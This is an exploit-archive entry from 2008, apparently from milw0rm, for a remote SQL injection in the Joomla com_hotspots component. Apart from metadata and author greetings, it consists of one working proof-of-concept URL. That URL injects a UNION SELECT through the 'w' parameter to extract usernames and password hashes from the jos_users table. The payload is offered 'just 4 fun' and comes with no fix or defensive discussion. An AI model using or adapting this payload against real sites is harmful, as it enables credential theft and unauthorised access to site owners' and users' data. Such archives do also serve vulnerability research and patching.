Joomla! Component com_hotspots - SQL Injection

Author: cOndemned
type: webapps
platform: php
port: 
date_added: 2008-10-06 
date_updated: 2016-12-26 
verified: 1 
codes:  
tags: 
aliases:  
screenshot_url:  
application_url:

ï»¿Name	:	Joomla Component com_hotspots (w) Remote SQL Injection Vulnerability
Author	:	cOndemned
Data	:	07.10.2008 AD
Greetz	:	sid.psycho, h07, ZaBeaTy, irk4z, Necro, str0ke, t0pP8uZz, TWT, suN8Hclf, 0in and Avantura....


PoC		:

	http://[host]/index.php?Itemid=53&option=com_hotspots&task=w&w=5+and+1=2+union+select+concat(username,0x3a,password)+from+jos_users--



Just 4 fun


# milw0rm.com [2008-10-07]